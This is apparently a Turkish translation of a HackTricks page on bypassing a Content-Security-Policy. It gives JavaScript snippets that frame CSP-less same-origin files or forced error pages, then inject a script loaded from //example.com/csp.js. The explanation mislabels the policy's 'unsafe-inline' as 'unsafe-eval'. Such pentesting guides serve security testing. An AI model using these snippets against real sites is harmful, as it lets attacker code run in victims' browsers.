4.8 KiB
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Bir yapılandırma örneği:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Herhangi bir fonksiyonun, bir dize olarak iletilen kodu çalıştırmasını engeller. Örneğin: eval, setTimeout, setInterval
gibi fonksiyonlar, unsafe-eval
ayarı nedeniyle engellenir.
Dış kaynaklardan gelen tüm içerikler engellenir, bunlar arasında resimler, CSS, WebSockets ve özellikle JS bulunur.
Metin ve Resimler Aracılığıyla
Görüldüğü üzere modern tarayıcılar, görüntüleri ve metinleri HTML'e dönüştürerek gösterimlerini geliştirir (örneğin arka plan ayarları, ortalamalar vb.). Bu nedenle, favicon.ico
veya robots.txt
gibi bir resim veya metin dosyası bir iframe
aracılığıyla açılırsa, HTML olarak işlenir. Özellikle bu sayfalar genellikle CSP başlıklarını içermez ve X-Frame-Options'ı içermeyebilir, bu da bunlardan herhangi bir JavaScript'in yürütülmesine olanak tanır:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Hatalar Aracılığıyla
Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıklarını içermez ve X-Frame-Options'ı atlayabilir. Hatalar, bir iframe içinde yüklenmeye zorlanabilir ve aşağıdaki eylemlere izin verebilir:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Bahsedilen senaryolardan herhangi birini tetikledikten sonra, iframe içinde JavaScript yürütmesi aşağıdaki gibi gerçekleştirilebilir:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Referanslar
AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz, ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.